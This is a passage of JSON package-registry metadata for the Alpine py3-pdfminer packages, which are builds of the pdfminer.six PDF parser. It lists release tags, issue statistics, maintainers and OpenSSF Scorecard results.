7.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:19.712Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":323,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2025-06-08T15:45:24.010Z","updated_at":"2025-06-08T15:45:24.010Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26322,"maintainers_count":422,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-04-27T18:20:22.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":11766229,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_number":"20240706-r0","last_synced_at":"2026-04-01T01:55:41.291Z","created_at":"2025-06-07T18:40:37.759Z","updated_at":"2026-04-01T01:55:41.292Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand 